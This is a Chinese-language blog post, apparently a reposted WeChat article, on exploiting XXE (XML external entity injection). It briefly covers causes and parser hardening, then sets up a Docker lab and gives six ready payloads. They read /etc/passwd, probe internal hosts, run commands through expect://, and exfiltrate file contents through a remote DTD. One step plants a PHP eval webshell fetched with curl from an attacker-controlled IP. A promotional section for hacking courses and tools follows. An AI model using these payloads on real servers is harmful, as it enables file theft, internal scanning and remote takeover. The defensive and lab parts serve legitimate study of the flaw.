XXE漏洞综合利用方法汇总,从零基础到精通,收藏这篇就够了!

点击上方蓝字关注我们

郑重说明

数字人才创研院秉承**探究学习与交流知识**‍‍‍的原则,所有发布的技术文章仅供参考,目的在于助力你获得更多知识;与此同时,让我们共同遵守《网络安全法》,未经授权请勿利用文章中的技术内容对任何计算机系统进行非授权操作,否则对他人或单位而造成的直接或间接后果或损失,均由使用者本人负责。

公众号发表的文章如有涉及您的侵权,烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!‍

Purpose of recommendation

知识介绍

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,它发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

**☆产生的主要原因**包含如下:  

1.有外部实体,将数据传入服务器,而且传入的格式是XML。

<!DOCTYPE message[<!ENTITY ms SYSTEN “file:///home/demo.txt”>]

2.服务器会将XML进行解析,解析后将内容呈现出来。

3.最终显示数据的地方能够被获取。

**☆主要防御措施**包含如下:

1.检查服务器是否必须对XML进行解析。

2.检查服务器是否必须将解析的内容加载到页面或数据库。

3.检查服务器是否对XML文件头检查。

4.使用语言推荐的禁用外部实体的方法。

#PHP:``libxml_disable_entity_loader(true);``   ``#Java:``DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();``dbf.setExpandEntityReferences(false);``.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);``.setFeature("http://xml.org/sax/features/external-general-entities",false);``.setFeature("http://xml.org/sax/features/external-parameter-entities",false);``   ``#Python:``from lxml import etree``xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)


接下来,让我们荡起双桨,优哉游哉,开启它的精彩之路吧!![](https://mmbiz.qpic.cn/mmbiz_png/MPrt2xIEpHSfv3lkXjeicB0YNNyfTMyhwV3oaJkk9Tk6jzSq7QorAYgZQiavYhZbqNEnmKImSWxCTD2GUayngC9Q/640?wx_fmt=png)

01

★★搭建靶场 ★★

第一步:准备一台Docker环境虚拟机,然后执行快速拉取镜像的命令。

docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***:latest``## 获取完整命令,敬请关注公众号哦!

**第二步**:执行如下语句,创建最新版容器。

docker run --restart=always -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/cnhongke/xxe***``#映射端口需要结合实际情况自行设定``docker ps -a

**第三步**:访问映射的IP或域名,如果显示如下图,即表明安装成功。

**第四步**:关注下方公众号并回复:XXE,获得下拉镜像的地址。

到此,我们完成了XXE靶场的部署;接下来,Getshell的利用正式开始。

02

★★ 利用思路 ★★

**0X01** **直接读取系统文件**

使用如下类似Payload进行读取系统敏感文件

<?xml version = "1.0"?>``<!DOCTYPE ANY [`    `<!ENTITY xxe SYSTEM "file:///etc/passwd">``]>``<x>&xxe;</x>

**0X02** **内网探针或攻击内网应用(触发漏洞地址)**

使用如下类似Payload获取内网系统敏感文件

<?xml version="1.0" encoding="UTF-8"?>``<!DOCTYPE cnc [`    `<!ELEMENT cnc ANY >`    `<!ENTITY xxe SYSTEM "http://IP/index.txt" >``]>``<x>&xxe;</x>``   ``#IP为内网地址或域名

**0X03** **借助expect扩展执行系统命令**

(1)使用如下类似Payload获取系统敏感文件

<?xml version = "1.0"?>``<!DOCTYPE ANY [`    `<!ENTITY xxe SYSTEM "expect://id" >``]>``<x>&xxe;</x>

 (2)部署Web服务器,达到Getshell的方法。

 首先,准备好poc.php,并写入一句话马,参考如下:

<?php echo('<?php eval($_POST[‘2023’]);?>');?>

 然后,利用XXE执行下载命令,参考如下:

<?xml version="1.0" version="UTF-8"?>`        `<!DOCTYPE title[`        `<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'攻击机ip/poc.php'">`        `]>``   `        `<config><title>&xxe;</title></config

最后,借助蚁剑连接即可。

**0X04** **引入外部实体 dtd命令**

使用如下类似Payload获取系统敏感文件

<?xml version="1.0" ?>``<!DOCTYPE test [`    `<!ENTITY % file SYSTEM "http://127.0.0.1:8080/xml.dtd">`    `%file;``]>``<x>&xxe;</x>``   ``xml.dtd:``<!ENTITY send SYSTEM "file:///etc/passwd">``   

**0X05** **无回显–读取文件**

直接使用如下类似Payload获取敏感信息

<?xml version="1.0"?>``<!DOCTYPE test [`    `<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">`    `<!ENTITY % dtd SYSTEM "http://远程:8081/test.dtd">`    `%dtd;`    `%xxe;``]>

**0X06** **协议-读文件(绕过)**

直接使用如下类似Payload获取敏感信息

<?xml version = "1.0"?>`    `<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>``<x>&xxe;</x>

如果喜欢,敬请关注哦,后期更精彩!

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值